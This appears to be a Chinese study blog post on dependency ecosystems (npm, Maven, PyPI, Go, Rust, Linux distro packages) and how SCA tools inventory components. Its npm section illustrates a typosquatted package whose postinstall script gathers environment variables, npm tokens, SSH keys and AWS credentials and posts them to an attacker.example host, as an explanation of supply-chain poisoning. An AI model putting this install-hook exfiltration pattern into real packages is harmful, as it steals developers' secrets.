包与依赖管理生态

一、依赖生态

每一种编程语言都有一种自己引用或者下载安装第三方库的方法,大概主要的流程就是以下几方面

1
2
3
4
5
要下载的是什么
从哪下载
用什么工具装
用什么文件记录装了啥
版本号怎么写

也就是对应下面这五个核心词

image-20260724192409279

目前主流生态表

image-20260724193609005

这个算是 sca 产品的一个重点吧,就是从不同生态中按照对应的规则与模式提取SBOM物料

进一步与知识库中存下的漏洞情报比较,从而可以快速的获取出被检测项目中存在漏洞的组件或者说是投毒情况

常见的生态的话,主要是以下四种,同时也标明了对应的优势与劣势点

ecosystem-mindmap

二、npm生态

特点是全球最大、最深、最碎的一个生态,解释如下

image-20260727120741402

1. package.json依赖清单

1
2
3
4
5
6
7
8
9
{
"name": "@myorg/my-app",
"version": "1.2.0",
"dependencies": { "express": "^4.18.0" },
"devDependencies": { "jest": "^29.0.0" },
"peerDependencies": { "react": ">=17" },
"optionalDependencies": { "fsevents": "^2.3.0" },
"scripts": { "postinstall": "node setup.js" }
}

^ 表示允许安装 不改变最左侧非零版本号 的所有更新,零版本号的话是把次版本号当主版本号对待,^ 的规则是”同一个主版本内随便升”(^4.18.0 = 4.x 任意),但主版本是 0 的时候规则突变——^0.2.3 只允许 0.2.x,因为 0.x 阶段约定”次版本号当主版本号用”

一个清单文件共有五种重要栏目

  • dependencies:运行时真的要用的,会跟着上生产
  • devDependencies:只在开发/构建/测试时用,不进生产制品。成熟的 SCA 报告会把 dev 依赖的漏洞降级处理——jest 里有个洞,攻击面在你的开发机而不是线上
  • peerDependencies:插件模式专用,意思是”我是 react 的插件,我不自带 react,要求宿主你提供一个 react ≥17”
  • optionalDependencies:装不上也不报错的(典型是 fsevents,只有 Mac 能装)。扫描时要容忍”清单里有、树里没有”
  • name 里的 @myorg/ 叫 scope(命名空间):@babel/core 里的 @babel 就是官方认证的地盘,别人抢注不了

存在位置

image-20260727164802408

2.node_modules

node_modules 文件夹 这个位于项目根目录下,用来放置依赖模块也就是npm所安装的包

2009 年 Node.js 诞生,2010 年 npm 诞生

最开始这个文件存放组件是嵌套存储,但是 依赖层层嵌套存放导致(node_modules 深到把 Windows 路径长度撑爆,”node_modules 比黑洞还重”的梗就是那时来的)于是 2015年 npm 第 3 版(2015)把嵌套拍平治了这个问题 结构如下

image-20260727155303450

拍平”的完整图景:能提升的提升到顶层共享(去重),冲突的留在自己肚子里嵌套 一个应用里两个 lodash 同时在内存里跑,完全合法

同时这样就允许组件多版本共存

但是这样就导致了进行sca检测时出现俩问题

  • ① SCA 报告里同一个包出现多行是正常的 lodash@4.17.21lodash@3.10.1 各自去匹配漏洞区间,各自出结果 修了 4.x 那份不等于 3.x 那份也安全——修复建议必须回答”这个版本是哪条依赖链引进来的”(npm ls lodash 就是干这个的)

    ② 幽灵依赖的完整机理 拍平把 body-parser 提升到了顶层 node_modules/——于是你代码里 require(‘body-parser’) 能成功,尽管你的清单从没声明过它 今天能跑,哪天 express 改用别的解析库,body-parser 从树里消失,你的代码原地爆炸 这就是”清单说的”和”实际能用的”出现裂缝 pnpm(一种新工具) 的严格布局(顶层只放你声明过的,其余全藏进符号链接迷宫)让幽灵依赖当场报错,等于把裂缝焊死了

3.scripts与仓库攻击

3.1、scripts

package.json 里的 scripts 有几个特殊名字:preinstall、install、postinstall——在 npm install 的瞬间自动执行任意命令

这意味着:恶意包根本不需要被代码 require,只要混进依赖树,安装那一刻代码就跑了 偷环境变量、下载木马、种后门,在敲完 npm install 回车后的几秒内完成

postinstall 是 npm 恶意包的标准投递方式,以他举例

  • 案例线看升级轨迹:2018 年 event-stream 案,攻击者接盘维护权后塞恶意依赖,定向偷比特币钱包——手工作坊。到 2025 年 9 月升级成工业化:先是 chalk、debug 等十几个基础包的维护者被钓鱼邮件骗走账号(这批包周下载量合计几十亿次),被塞进浏览器端劫持加密货币地址的代码;紧接着爆发 Shai-Hulud 蠕虫——恶意代码在 postinstall 里跑凭证扫描工具,偷走受害者自己的 npm 令牌,再用偷来的令牌把蠕虫发布进受害者维护的包里,自我复制,滚雪球波及几百个包,11 月还回了一波马枪。供应链攻击第一次”蠕虫化”,靠的正是 install 脚本这个机制
  • npm install –ignore-scripts 可以一刀禁掉安装脚本

image-20260727165453303

3.2、仓库攻击

npm 仓库是 open 模式的极致:注册账号两分钟就能发包,无人审核

网址如下

1
https://www.npmjs.com/

攻防方式:

  • 抢注/错拼(typosquatting):发个 raect 等手滑的人,仓库方靠事后扫描+封禁兜底
  • 依赖混淆(dependency confusion):2021 年研究者发现,公司内部包名(如 acme-utils)若没在公共仓库注册,攻击者可以抢注同名高版本,构建系统可能优先拉公共的那个——scope 就是解药:@acme/utils 的 @acme 地盘被认证后别人碰不了
  • 不可撤回政策:left-pad 事件(作者撤包瘫痪半个互联网)之后,npm 改了规矩——包发布超过 72 小时或有人依赖就不许下架 可用性问题基本根治,但也意味着毒包只能靠仓库方强制摘除
  • 账号接管:2025 年那波证明,攻击重心已经从”发新毒包”转向”偷走老牌包的钥匙”——钓鱼拿维护者账号,往千万人依赖的包里注毒。仓库方的应对是逐步强制双因素认证、推行发布来源证明(provenance)

3.3、具体实现思路

攻击者视角

  • 发布了一个包叫 colorss(正版是 colors,故意少写一个字母,typosquatting / 抢注错拼)

    npm包中的恶意package.json如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    {
    "name": "colorss",
    "version": "1.0.0",
    "description": "Terminal colors made easy",
    "main": "index.js",
    "scripts": {
    "postinstall": "node ./setup.js"
    }
    }

    看起来人畜无害——“装完之后跑个初始化脚本”,正经包也这么干,但 setup.js 里干的是:

    1
    2
    3
    4
    5
    6
    7
    8
    // 大意(不是可运行的完整代码,只为说明原理)
    const payload = {
    env: process.env, // 全部环境变量:API key、token、密码
    npmrc: read('~/.npmrc'), // npm 发布令牌
    ssh: read('~/.ssh/id_rsa'), // SSH 私钥
    aws: read('~/.aws/credentials'), // 云凭证
    };
    post('https://attacker.example/collect', payload); // 打包发走

受害者视角

  • 敲下:npm install colorss
    ↓ 0.0 秒
    npm 去 registry 下载 colorss-1.0.0.tgz
    ↓ 0.8 秒
    解压到 node_modules/colorss/
    ↓ 0.9 秒
    npm 读这个包自带的 package.json,发现有 postinstall
    ↓ 1.0 秒
    npm 用【你的用户身份】执行 node ./setup.js ← 中招就在这一刻
    ↓ 1.2 秒
    你的环境变量、SSH 私钥、npm token 已经在攻击者服务器上了
    ↓ 3.0 秒
    终端显示 “added 1 package in 3s”,一切正常,绿色的

4.sca检测

要认的文件

package.json(清单)、package-lock.json(v1/v2/v3 三代格式)、yarn.lock(还分老格式和新版 YAML)、pnpm-lock.yaml。一个生态五六种文件格式,解析工作量全生态最大

实地盘点很可靠

node_modules 里每个包都自带一份 package.json 报身份(名字+精确版本),直接翻安装现场也能拿到高质量清单,容器镜像里的 Node 后端就是这么扫的:翻镜像里的 node_modules。、

要做的分级

生产依赖 vs 开发依赖分开定级;同名多版本各自匹配、各自给修复链路

  • 注意:前端代码上线前会被打包器(webpack 之类)熔炼成一个大 bundle 文件,node_modules 不进制品——所以扫前端产物很难(面对的是压缩混淆后的大块头),SCA 主要在构建前(有锁文件时)介入;而 Node 后端容器里 node_modules 原样躺着,随时可扫

同时,对于投毒

传统 SCA 根本发现不了这类攻击

你现在学的那套逻辑是:读锁文件 → 拿到 包名@版本 → 去漏洞库比对版本区间 → 命中报警

但恶意包这条线上:

  • image-20260727170115362

投毒多发地

三、Maven生态

1.坐标与仓库

java也就是maven这个生态里,Maven Central对于仓库管理十分严格

1
https://central.sonatype.com/?smo=true

Java 包的身份证是 GAV 坐标:groupId:artifactId:version,例如 org.apache.logging.log4j:log4j-core:2.17.1 重点在 groupId——它是反写的域名,而且 Maven Central 发包时要验证你真的拥有这个域名(DNS 解析记录证明,或 io.github.你 证明 GitHub 账号归属),还强制 GPG 签名 对比 npm 注册账号两分钟就能发包——Maven Central 是有门卫的超市

同时,Central 上的制品永不删除、同版本号永不允许重传(比 npm 的”72 小时后不可撤”更绝对) left-pad 那种”说没就没”在 Java 世界物理上不可能发生

同时也就导致了Maven Central 上的恶意包、抢注包比 npm 少几个数量级 Java 供应链的雷不在”有人投毒”,而在“正经的老库带着洞躺在犄角旮旯没人知道”——Struts2、Log4Shell 都是这个模式

image-20260727184220840

2.pom.xml

pom.xml对于maven来说就是清单 所有要用到的组件插件等等都要在这个文件中规定

同时该文件有一系列为了简化生产做的点

  1. 属性变量:${log4j.version},值定义在别处
  2. 父 POM 继承:项目有族谱,版本号写在爷爷辈的 pom 里
  3. BOM(物料清单):像 spring-boot-dependencies 这种”版本对照总表”,一次 import 进来,几百个库的版本全由它钦定——你的 pom 里那些依赖连 version 标签都没有

导致了一系列后果

image-20260727184427983

对于版本的限制,maven发明了一种叫做 就近优先:静默降级的仲裁规则

image-20260727184544410

由此,导致我们引入的新框架是新版本,但是却被一个老工具包拖回了带洞的 2.8——静默降级,构建照常成功,一个警告都没有。反过来,这条规则也是应急武器:在你自己的 pom 里直接声明 log4j-core 2.17.1(深度 1,天下最近),立刻通杀全树——这就是 Java 世界压版本的标准手法

3.sca检测

3.1、jar分类

前面都还是源码侧的麻烦,真正的苦日子在制品侧——扫一个已经构建出来的东西。先记住物理事实:jar 就是一个 zip 压缩包,里面装 .class 字节码文件,而 Java 应用的出厂形态是一条”透明度递减”的谱系

一共有四类

image-20260727184940170

log4j 2.14.1 举例

线索① pom.propertiesMaven 构建的 jar 会在肚子里留一份身份档案:

META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties
groupId=org.apache.logging.log4j
artifactId=log4j-core
version=2.14.1

有它就直接读。但它是”通常有”不是”必须有”——shade 时可能被丢掉,甚至更坑:留着一份过时的标签

线索② MANIFEST.MFjar 的 META-INF/MANIFEST.MF 里有 Implementation-Version 之类字段,可选、常缺、偶尔乱填,只能当旁证

线索③ 文件名——最不可信。log4j-core-2.14.1.jar 看着美好,但文件可以随便改名,进了 fat jar 后文件名干脆不存在

线索④ 字节码指纹把 jar 里每个 .class 文件算哈希,拿去比对一个巨大的”已知制品指纹库”(Maven Central 全量制品的类哈希都预先算好入库)。连包名被 shade 改了都能认出来——因为改名只动了路径和引用,大部分字节码内容的特征还在。指纹库的覆盖度和比对算法,是各家 SCA 产品拉开差距的地方。

3.2、maven检测

由于pom文件存在以下行为

第一层:版本可能是个变量(property)

最简单的一层。pom 里允许定义变量,依赖处引用:

1
2
3
4
5
6
7
8
9
<properties>
<log4j.version>2.17.1</log4j.version>
</properties>
...
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j.version}</version> <!-- 不是版本号,是个占位符 -->
</dependency>

正则抠 抠到的是字符串 ${log4j.version}——一个没值的空壳 得先找到 properties 块、建一张变量表、再把占位符代入 到这还不难,麻烦的是这个变量的定义常常根本不在这个文件里——它在爸爸的 pom 里 这就引出第二层

第二层:POM 有族谱,版本写在祖宗那里(父 POM 继承)

Maven 有个核心设计:POM 可以继承。你的项目 pom 顶上通常写着一句”我爸是谁”:

1
2
3
4
5
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.5</version>
</parent>

一旦认了爹,父 POM 里定义的变量、依赖、版本,你全部自动继承。图什么?统一管理——公司几百个项目认同一个”公司父 POM”,想升级某个库版本,改父 POM 一处,全公司项目下次构建自动跟上。方便是真方便,但对解析器是灾难,因为:

父 POM 自己还有父 POM,一层套一层,形成一条继承链。 你手里的项目 pom → 公司父 pom → spring-boot 父 pom → spring-boot-dependencies → 最顶上 Maven 的超级 POM。你要的那个 ${log4j.version} 的真值,可能定义在这条链往上第三代的某个 pom 里

而且——父 POM 不在你的项目目录里,它是一个要从 Maven 仓库下载的制品 所以解析器为了算出一个版本号,得联网、按 GAV 坐标把整条祖宗链一个个下载下来、逐级合并。”读文件”到这里已经彻底破产了:文件根本不在本地,得先去把家谱请回来

第三层:BOM——一张”版本大对照表”被 import 进来

这是最典型、也最能击垮正则的一层。现代 Java 项目里,会看到大量依赖压根不写版本号:

1
2
3
4
5
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<!-- 没有 <version>! -->
</dependency>

版本被一个叫 BOM(Bill of Materials,物料清单) 的东西统一钦定了。BOM 是一种特殊 POM,里面是一张巨大的”版本对照总表”,通过 dependencyManagement + import 拉进来:

1
2
3
4
5
6
7
8
9
10
11
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>2.7.5</version>
<type>pom</type>
<scope>import</scope> <!-- 把这张总表整个导进来 -->
</dependency>
</dependencies>
</dependencyManagement>

这一句 import 背后,是 spring-boot-dependencies 那张表里几百个库的钦定版本一次性生效。于是你 pom 里那些”光秃秃没版本”的依赖,版本全由这张表说了算——log4j-core 是 2.17.1,是因为 Spring Boot 2.7.5 这张表里写着 2.17.1

所以目前只能

1
mvn dependency:tree

Maven 自己就是那个”方程求解器”,它会把继承、变量、BOM、优先级全部解算完毕,吐出一棵已经定死每个版本的完整依赖树。SCA 工具很多就是跑这条命令、解析它的输出。代价:得有完整构建环境(对的 JDK、能连的仓库、可能要的私库凭证),还得真的执行项目相关的构建动作——慢、重、且需要项目能构建成功。扫一个源码仓,成本比 npm 高一个数量级

总之,如下

image-20260727191133395

四、PyPI生态

1
https://pypi.org/

1.环境即状态

pythonimport 的机制:sys.path

1
2
python -c "import PIL; print(PIL.__file__)"
# 打印出 PIL 这个包实际从哪个目录加载的

sys.path 里最重要的一站叫 site-packages——pip install 装的东西全堆这

对比npm

  • npm:依赖装进项目自己的 node_modules/,一个项目一份,互不干扰,依赖”属于项目”
  • Python(裸 pip):pip install 默认装进那个 Python 解释器共享的 site-packages。它不属于某个项目,而属于这个 Python 环境。你在项目 A 里 pip install requests,项目 B 用同一个 Python 的话,B 也”免费”看得见 requests

后果就是:依赖的单位不是”项目”,是”环境” 两个项目要同一个包的不同版本?同一个环境装不下 所以社区发明了 venv(虚拟环境)——本质就是开一个独立的 site-packages,把 sys.path 指过去 “给每个项目一个平行宇宙”,机制上就是”换一张寻库地图”

扫一个 Python 项目,第一个要问的不是”有没有清单”,而是”它跑在哪个环境里”——系统 Python?哪个 venv?conda 环境?同一台机器可以有 N 个环境、N 本账,扫错环境等于扫了个寂寞

image-20260727193439862

虚拟环境默认无关与系统环境

2.分发名 ≠ 导入名

1
2
pip install pillow      ← 分发名(distribution name):在 PyPI 上、在 pip 命令里用的名字
import PIL ← 导入名(import name):在代码里写的名字

如出一辙的还有很多

image-20260727192500118

雪上加霜的还有归一化(PEP 503):分发名大小写不敏感、- _ . 全等价 Flask、flask、FLASK 是同一个包;ruamel-yaml 和 ruamel.yaml 也是同一个 所以”名字”这件事在 Python 里根本不是一个稳定的字符串

于是在代码里搜到 import yaml,想查漏洞——可漏洞库里根本没有叫 yaml 的条目,它叫 PyYAML,而且还存在一个分发包可以装出多个导入名,反过来多个分发包可能提供同名导入(命名冲突) 映射不是一一对应

不过所幸,有记录文件

3.仓库与制品形态

制品官网是下面这个

1
https://pypi.org/

python公告仓库也是持开放状态谁都能发包,基本无审核

于是也存在

  • typosquatting(抢注错拼):python-requests(真包是 requests)、jeIlyfish(把 l 换成大写 I 冒充 jellyfish)这类恶意包反复出现。
  • 依赖混淆:2021 年 Birsan 那次攻击,PyPI 和 npm 一起中招
  • 恶意包投毒:结合第三章的 setup.py,pip install 到就中招 近几年 PyPI 每年清理成千上万个恶意包

同时制品有俩种存在形式

Pillow 12.3.0举例

Pillow 12.3.0 一个版本,87 个制品——1 个源码包 + 86 个轮子

Python 包有两种出厂形态:

sdist(源码包,.tar.gz)——装的时候会跑代码

sdist 就是源码打个包 问题在于:pip 安装一个 sdist 时,会执行包里的 setup.py——而 setup.py 是任意 Python 代码

和之前生态一样

  • npm: npm install 触发 postinstall 脚本 → 装包时执行任意代码
    Java: mvn 构建时插件执行 → 构建时执行任意代码
    Python: pip install 一个 sdist 跑 setup.py → 装包时执行任意代码 ← 就是这里

wheel(轮子,.whl)——预编译,装的时候不跑代码

wheel 是预先构建好的包,装的时候只是解压+拷文件,不执行任何代码(除非包里有 entry point)。所以 wheel 既快又安全,是现在的默认首选。名字来源:Python 包生态叫 “Cheese Shop”(源自一个喜剧),轮子=一块奶酪

具体Pillow的构成其实是下面原因

image-20260727195015826

同时,因为轮子里有 C 代码 于是又引入了隐形的 CVE

以pillow.libs/ 目录举例

1
2
3
4
5
6
pillow.libs/libjpeg-31e2ca52.so.62.4.0       ← JPEG 解码库(C写的)
pillow.libs/libpng16-abb096d5.so.16.58.0 ← PNG 库
pillow.libs/libfreetype-...so.6.20.6 ← 字体渲染库
pillow.libs/liblcms2-...so.2.0.19 ← 色彩管理
pillow.libs/liblzma-...so.5.8.3 ← 压缩库(xz!就是2024年出后门那个家族)
pillow.libs/libopenjp2-...so.2.5.4 ← JPEG2000

pip install pillow 顺带装进来了大半个 C 语言图像处理栈——libjpeg、libpng、libfreetype 全被打包进轮子里一起塞进来

4.依赖清单

完整文件树如下

image-20260727202753484

dist-info他就是记录了引入组件的详细情况

requirements.txt作为用户定义的要安装的依赖清单存在

pip年代中 项目中存在requirements.txt作为依赖清单

但是存在一些问题

image-20260727203225745

于是现代工具发明出

pyproject.toml + uv.lock形式

image-20260727203342600

5.包管理工具

condauv

conda 是”平行宇宙”,不是又一个 pip 数据科学圈用的 conda 有自己的仓库(不是 PyPI)、自己的包格式,而且它连非 Python 的 C 库、甚至 R、CUDA 都一起管 代价:conda 装的东西不在 pip 的 dist-info 账本上,记在 conda 自己的账里

uv 是正在终结全部的 Rust 工具(2024)

比传统 pip 快 10–100 倍

项目流程(围绕 pyproject.toml + uv.lock)

uv init myproj # 建项目骨架
uv add requests # 加依赖 → 写进 pyproject.toml + 更新 uv.lock + 装好
uv remove requests # 反向操作
uv sync # 照着 uv.lock 把环境弄成一模一样 ← 团队协作 / CI 用这条
uv lock # 只算依赖、只更新锁文件,不装
uv run python app.py # 在项目环境里跑,自动确保环境是新的(不用手动 activate!)
uv tree # 依赖树,看谁把某个包拽进来的
uv export # 导出成 requirements.txt 格式(给不认 uv 的工具用)

uv run 是最爽的一条:不用 activate,它自己找到 .venv 并保证同步

五、Go生态

1.Go生态仓库

Google 2009 年做的一门编程语言,主要用来写服务器程序和命令行工具

与常见主流语言运行区别

1
2
3
Python:  写 .py 文件 → 直接让 python 去跑它(源码就是成品)
Java: 写 .java → 编译成 .class/.jar → 需要 JVM 才能跑
Go: 写 .go → 编译成一个 .exe → 【什么都不需要,双击就跑】

编写一个简单的go程序

1
2
3
4
5
6
7
8
9
10
11
package main                  // ← 第1行

import ( // ← 第2块:外部工具
"fmt" // fmt = Go 自带的(标准库),管打印
"rsc.io/quote" // 这个是从网上下载的第三方库!
)

func main() { // ← main 函数 = 程序的入口,从这里开始跑
fmt.Println("我的第一个 Go 程序") // 打印一句话
fmt.Println(quote.Hello()) // 调用那个下载来的库的 Hello() 函数
}
  • package main:声明”我是一个可以独立运行的程序”(而不是给别人用的库)
  • import:跟 Python 的 import、Java 的 import 一样——“我要用别人写好的东西”
  • func main():程序从这里开始执行,和 Java 的 main 方法一样

安装依赖与打包命令

image-20260728142435069

需要注意

这里import里写的是网址,import "rsc.io/quote"是这个库住在哪儿的地址,github.com/gin-gonic/gin 就是下载依赖时寻找依赖的地址

image-20260728120153183

于是乎,go语言的仓库就是github

由此诞生的安全问题便是

  • 仓库所有权变,如果一个用得很广的模块,作者删库、改名、或转让了 GitHub 账号,别人注册同名账号就能顶替它的位置——因为地址就是身份

官方为了解决这个问题,又提出了

代理 + 校验和数据库 + 透明日志(贡献最大的一家)

  • 模块代理

    Go 官方建了个 proxy.golang.org

    [proxy.golang.org/github.com/gin-gonic/gin/@latest](https://proxy.golang.org/github.com/gin-gonic/gin/@latest)

    1
    2
    3
    GET /github.com/gin-gonic/gin/@v/list          → 所有版本
    GET /github.com/gin-gonic/gin/@latest → {"Version":"v1.12.0","Origin":{"VCS":"git",...}}
    GET /github.com/gin-gonic/gin/@v/v1.10.0.mod → 直接拿 go.mod 原文

    通过官方仓库记录了目前已经发表并且常用的依赖库的记录与哈希值

  • 校验和数据库+ 透明日志

    1
    2
    3
    4
    5
    6
    7
    8
    25573390                                                    ← 日志条目编号
    github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzy...= ← 官方登记的哈希
    github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOh...=

    go.sum database tree
    58168118 ← 当前树大小
    SMMtf2PvBBdlyOESNl9hJ137SyfGTJOyWE+qHtCkVng= ← Merkle 树根哈希
    — sum.golang.org Az3grkrSNwKsSxnNXNumsgbUulG5fR+dPQk3vx... ← 官方签名

    这个是一个全球公证处 每个模块版本的哈希被登记进一个只能追加、不能篡改的日志(Merkle 树,和证书透明度 CT 日志、区块链是同一种密码学结构)

    每次 go get 一个新模块,Go 工具链会自动:

    1. 下载模块 → 算哈希
    2. 去 sum.golang.org 查官方登记的哈希
    3. 对不上 → 直接拒绝构建并报警
    4. 对得上 → 写进 go.sum

也就是说虽然go没有中心仓库,但是go有一个中心备案处,修改记录后,数据就对不上

2.特点

2.1、制品自带sbom物料

Go 默认静态编译:所有依赖(包括 Go 运行时本身)全部编译进一个单文件可执行程序,运行它不需要装 Go、不需要任何 .so/.dll

同时 Go 编译时会往二进制里嵌入一段结构化的构建信息(BuildInfo),记录:用了哪个 Go 版本、主模块是谁、每一个依赖的模块路径+精确版本+哈希

1
go version -m gh.exe

使用命令即可全部读出

image-20260728144948605

而且这不需要装 Go 才能读——这段信息有标准格式,任何扫描器都能直接从二进制里解析出来(Trivy、Syft 都支持) 扫一个容器镜像里的 Go 程序,拿到的依赖清单质量比扫 Java 制品高一个数量级

2.2、算法代替锁文件

正常选择版本「在满足所有约束的版本里,挑最新的」

问题就出在”最新”上——今天的最新和下个月的最新不是一个东西,所以必须有锁文件把结果钉住,否则不可复现

Go 的思路:挑最老的那个能满足要求的

MVS(Minimal Version Selection,最小版本选择):

对每个模块,收集所有人对它提出的版本要求,取其中最高的那个作为结果——但绝不多选一分。

例如

1
2
3
你的 go.mod:  require A v1.0.0,  require B v1.0.0
A 的 go.mod: require C v1.2.0
B 的 go.mod: require C v1.5.0

MVS 计算 C 的版本: max(1.2.0, 1.5.0) = v1.5.0 ← 就选它

注意,哪怕此刻 C 已经发布了 v1.9.0,MVS 也不会用,它只用”有人明确要求过的版本里最高的那个”,绝不擅自升级

为什么这就不需要锁文件了

因为这个计算过程的输入全是不可变的:你的 go.mod 是固定的、每个依赖的 go.mod 也是固定的(某个版本的 go.mod 永远不变),同样的输入 → 永远同样的输出

因此,go项目具有高保真构建(high-fidelity builds):今天构建和三年后构建,结果字节一致

与之同时 也带来了安全性问题

安全补丁不会自动进来。npm 用户写 ^4.18.0 时,重装可能自动拿到修复版;Go 用户会一直卡在旧版直到主动升。所以 Go 项目的漏洞往往是”长期潜伏”型——扫出来的洞可能已经存在两年了

2.3、伪版本号

一共定义了三种形式

image-20260728161037917

1
2
3
4
5
6
7
v1.12.1 - 0. 20260626164816 - 34dac209ffb6
└──┬──┘ └┬┘ └─────┬──────┘ └────┬─────┘
│ │ │ │
基础版本 │ 时间戳(UTC) commit 前12位
v1.12.0 │ 2026-06-26
补丁+1 │ 16:48:16
└── "-0." 是预发布标记,作用见下

以某一个伪版本号举例

这么打伪版本的话

1
2
v1.12.1-0.20260626164816-34dac209ffb6   >   v1.12.0     ← 比上一个正式版大
v1.12.1-0.20260626164816-34dac209ffb6 < v1.12.1 ← 比下一个正式版小

Prerelease 段: -0.20260626164816-34dac209ffb6
IsValid: true ← semver 认它是完全合法的版本号

数轴形式:

v1.12.0 ●━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━● v1.12.1
↑ ↑ ↑
打 tag pin 的 打 tag
这次 commit
(伪版本落在这)

semver 规定 预发布版 < 同号正式版(1.12.1-任何东西 恒小于 1.12.1),所以 -0. 这个前缀就是用来”把它踩到 v1.12.1 之下”的

由此,对于sca 造成了一些麻烦

如果一个伪版本的基础版本是 v1.2.3-0.2020…(表示”在 v1.2.3 之后的某次提交”),情况就复杂了——这次提交到底有没有包含那个修复补丁,光看版本号根本判断不出来,得去查那个 commit 的实际内容。这是 SCA 在 Go 生态特有的一类不确定性

2.4、提交中心仓库

Go 没有”发布”这个动作

但是依旧是所有人都可以往中心仓库里写东西

image-20260728155834619

进账之后就永远改不掉了:删 tag 没用(proxy 缓存还在),force-push 改 tag 指向更糟(哈希对不上,所有用户 go build 直接报 checksum mismatch,等于自曝)

六、crates.io 生态

其实就是rust生态

他在2015年诞生,有一个非常不错的特点

既快又安全 —— 靠编译器在编译时死磕,把内存问题挡在上线前

rust中术语是

image-20260728184522872

Cargo这个包管理工具诞生于2015 随rust一起出生 于是在当时 官方考虑到之前所有的缺点

1
2
3
4
5
Cargo.toml      清单(我想要什么)
Cargo.lock 锁文件(实际用了什么) ← 出生自带!
crates.io 中央仓库
语义化版本 semver 规则
一体化构建 编译/测试/发布一个命令搞定

优秀工具天生自带

中心仓库

1
https://crates.io

image-20260728184948454

crates.io 没有命名空间,遵循扁平化,所有 crate 名字在一个扁平的全局空间里,先到先得,所以抢注(typosquatting)在 Rust 里更好使,因为没有 scope 可以帮你区分”官方的”和”冒牌的”

crates.io 上的包一旦发布就不能删除,只能”yank(撤回)”

1
2
已经在别人 Cargo.lock 里的  → 照常能下载,构建不受影响 ✓
新项目想依赖这个版本 → 拒绝,当它不存在 ✗

召回但不销毁 老用户不受影响,新用户不会踩坑

制品是一个单二进制,但没有自带料单,

这个的生态不太重要,处于一些不重要的地位

七、系统包生态

1.linux系统包仓库

系统包生态是指类似于Ubuntu这样linux发行版使用apt工具寻找中央仓库安装应用等等情况,这一部分就算是系统包生态的整个来回,如下图全流程所示

download

软件系统生态麻烦的第一点在于linux有不同的发行版,因此中央仓库也就非常多具体可以看下面表格

download

因此造成的问题便是某一个组件爆出漏洞,不同的发行版有不同的修复手法与情报,他们都在各自发行版的官网上公布,要整合这一步着实有一些困难

2.backport 回填

除上述困难之外,linux还具有一种独特的更新策略—–backport 回填

是指机器上与镜像里安装的某一个组件,几乎不是从上游直接安装,以常见工具openssl举例,也就是指不是直接从maven发布的源地址或者官网 openssl.org 安装,而是安装的linux发行版自己维护的仓库中自己维护的组件

linux发行版对用户有一大承诺

同一个大版本的生命周期内(比如 Debian 11 那两三年),软件行为不变

所以未来解决这个问题,发明了backport(回填/向后移植)

具体如下图

image-20260724204422396

保留老版本不动,只把上游那个修复补丁单独摘出来,缝进老版本里

这也就迫使整理安全情报以及要做镜像sca检测的时候必须要注意发行版自家的安全公告

杜绝出现下面的情况

image-20260724204635821

主流发行版/生态的官方安全公告源

发行版/生态 公告类型 官方地址 说明
Debian DSA(Debian Security Advisory) https://www.debian.org/security/ 也可用 Security Tracker 按包名/CVE 查:https://security-tracker.debian.org/tracker/
Ubuntu USN(Ubuntu Security Notice) https://ubuntu.com/security/notices 支持按 CVE、包名、发行版本筛选
RedHat / RHEL RHSA(RedHat Security Advisory) https://access.redhat.com/security/security-updates/ 另有 RedHat CVE 数据库:https://access.redhat.com/security/cve/
CentOS Stream 跟随 RHEL 上游 https://lists.centos.org/pipermail/centos-announce/ CentOS 本身不单独发,主要看 RHEL/Stream 公告
Alpine Linux secdb(安全数据库) https://secdb.alpinelinux.org/ 机器可读的 JSON 格式,适合自动

3.容器镜像检测

容器进项检测本质上就是一台迷你的linux系统,检测本质就是对系统包生态进行,同时对部署的软件生态

检测的是电脑的整个硬盘快照——里面有文件系统、系统工具、系统库,最后才是你的程序,docker run 的时候就是把这块”硬盘”解压出来,让程序在里面跑

所以检测分为俩层

image-20260724205518237

以一份具体的dockerfile举例

image-20260724205626206

运行之后

镜像里一共有两类

系统包,走 apk 进来的,musl(C 库)、busybox、openssl、zlib、ca-certificates,加上手动装的 curl……哪怕一行 apk add 都没写,光 FROM alpine 就自带十几个包

语言包,express 和整棵传递依赖树,全在 node_modules 里

4.包管理的分层与交叉

以知名漏洞组件 liblog4j2举例

该组件本是java程序中会用到的,但是在linux的常见发行版也包含了它

原因本质上就是 Debian 仓库的野心是”软件总仓库”,不是”系统软件仓库”

目的是为了满足两条铁律

image-20260724211337724

Debian 里的 log4j 不是”Linux 要用日志库”,而是”Debian 打包的那些 Java 应用要用”。它是 Maven 生态的一角,被 Debian 抄录进了自己的账本

比如说

fat jar:classpath 就是自己,依赖全在肚子里,一辈子碰不到 /usr/share/java

1
java -jar app.jar

Debian 打包的 Java 应用:/usr/bin/某工具 其实是个 shell 包装脚本,内容大致是——

1
exec java -cp /usr/share/java/log4j-core.jar:/usr/share/java/commons-io.jar:... com.foo.Main "$@"

同时

Debian 想收录任何一个 Java 应用,就必须先把它的每个 Maven 依赖逐个”转译”成 deb 包。log4j 被转译成源码包 apache-log4j2 → 二进制包 liblog4j2-java → jar 落进 /usr/share/java/,等着给同仓库的 Java 应用当共享依赖

不只是java

image-20260724211646151

转译包的作用有俩类

一是系统自己——就是 Python 应用,apt install certbot 会连带装一串 python3-* 的 deb;二是求稳的运维——一个更新渠道、一个安全团队、backport 保行为不变,代价是版本老,所以开发者写代码时永远用 pip/Maven 拉新版——同一台机器上两个世界并存

因此在做sca检测时,会出现如下冲突的情况

image-20260724211955702

实属正常

最后就是总结一下这六种生态吧

image-20260728185559936